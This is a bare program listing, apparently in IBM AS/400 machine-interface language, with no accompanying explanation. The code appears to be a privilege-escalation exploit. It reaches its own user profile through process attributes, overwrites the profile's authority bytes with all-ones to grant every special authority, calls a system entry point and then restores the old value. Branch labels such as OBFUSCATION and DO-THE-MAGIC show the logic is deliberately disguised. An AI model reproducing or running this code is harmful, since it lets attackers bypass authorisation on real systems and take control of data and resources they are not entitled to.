DCL SYSPTR .SEPT(6440) BAS(@SEPT); DCL DD PCO CHAR(256) BASPCO; DCL SPCPTR @SEPT DEF(PCO) POS(1); DCL SPCPTR .THE-STACK; DCL DD THE-STACK CHAR(8) AUTO BDRY(16); DCL DD STK-BYTES-PRV BIN(4) DEF(THE-STACK) POS( 1); DCL DD STK-BYTES-AVL BIN(4) DEF(THE-STACK) POS( 5); DCL DD STK-NBR-OF-ENTRIES BIN(4) DEF(THE-STACK) POS( 9); DCL DD STK-ENTRY(1) CHAR(128) DEF(THE-STACK) POS(17); DCL DD STACK-ENTRY CHAR(128) BDRY(16); DCL SYSPTR .STACK-ENTRY-PGM DEF(STACK-ENTRY) POS(33); DCL DD STACK-ENTRY-PGM CHAR(16) DEF(STACK-ENTRY) POS(33); DCL SPCPTR .OWN-PTR INIT(STACK-ENTRY-PGM); DCL OL OWNPARM (.OWN-PTR) ARG; DCL SPCPTR .PARM1 PARM; DCL DD PARM1 CHAR(16) BAS(.PARM1); DCL OL PARMS (.PARM1) EXT PARM MIN(0); DCL DD NBR-OF-PARMS BIN(2) AUTO; DCL DD DUMMY CHAR(8) BDRY(8); DCL DD P BIN(2); DCL SPCPTR .PROC-ATTR INIT(PROC-ATTR); DCL DD PROC-ATTR CHAR(32) BDRY(16); DCL DD BYTES-PROVIDED BIN(4) DEF(PROC-ATTR) POS( 1) INIT(32); DCL DD BYTES-AVAILABLE BIN(4) DEF(PROC-ATTR) POS( 5); DCL DD * CHAR(8) DEF(PROC-ATTR) POS( 9); DCL SYSPTR .USRPRF DEF(PROC-ATTR) POS(17); DCL SPCPTR .SPCPTR; DCL DD STORAGE CHAR(512) BAS(.SPCPTR); DCL DD AUTHORITY CHAR(8) DEF(STORAGE) POS(257); DCL DD OLD-AUTHORITY CHAR(8); DCL DD FIRST-TIME CHAR(1) AUTO INIT("Y"); /*******************************************************************/ ENTRY * (PARMS) EXT; STPLLEN NBR-OF-PARMS; CMPNV(B) NBR-OF-PARMS, 1/EQ(CALLED-SELF), NEQ(OBFUSCATION); GET-OWN-INVOCATION-STACK: CPYNV STK-BYTES-PRV, 8; /* MINIMUM */ SETSPP .THE-STACK, THE-STACK; MATINVS .THE-STACK, *; MODASA .THE-STACK, STK-BYTES-AVL; CPYNV STK-BYTES-PRV, STK-BYTES-AVL; SETSPP .THE-STACK, THE-STACK; MATINVS .THE-STACK, *; OVRPGATR 1, 2; /* DO NOT CONSTRAIN ARRAY REFS */ CPYBWP STACK-ENTRY, STK-ENTRY(STK-NBR-OF-ENTRIES); OVRPGATR 1, 4; /* RESUME CONSTRAIN ARRAY REFS */ CMPNV(B) NBR-OF-PARMS, 1/NEQ(DO-THE-MAGIC); /****************************************************************/ OBFUSCATION: CMPBLA(B) FIRST-TIME, " "/NEQ(MORE-OBFUSCATION); CALLED-SELF: CMPBLA(B) STACK-ENTRY-PGM, PARM1/NEQ(DONE); CPYBLA DUMMY(1:4), X'11223344'; CPYBLA DUMMY(5:4), X'55667788'; B DONE; MORE-OBFUSCATION: CMPBLA(B) FIRST-TIME, "."/EQ(GET-USER-PROFILE); MATPRATR .PROC-ATTR, *, X'16'; ADDN P, NBR-OF-PARMS, 1; YET-MORE-OBFUSCATION: ADDN(SB) P, 9/POS(GET-OWN-INVOCATION-STACK); DO-THE-MAGIC: CALLX .STACK-ENTRY-PGM, OWNPARM, *; GET-USER-PROFILE: SETSPPFP .SPCPTR, .USRPRF; CPYBLA OLD-AUTHORITY, AUTHORITY; CPYBLA AUTHORITY, X'FFFFFFFFFFFFFFFF'; CMPNV(B) P, H'105C'/EQ(=+2); CALLX .SEPT(1852), *, *;: CPYBLA AUTHORITY, OLD-AUTHORITY; DONE: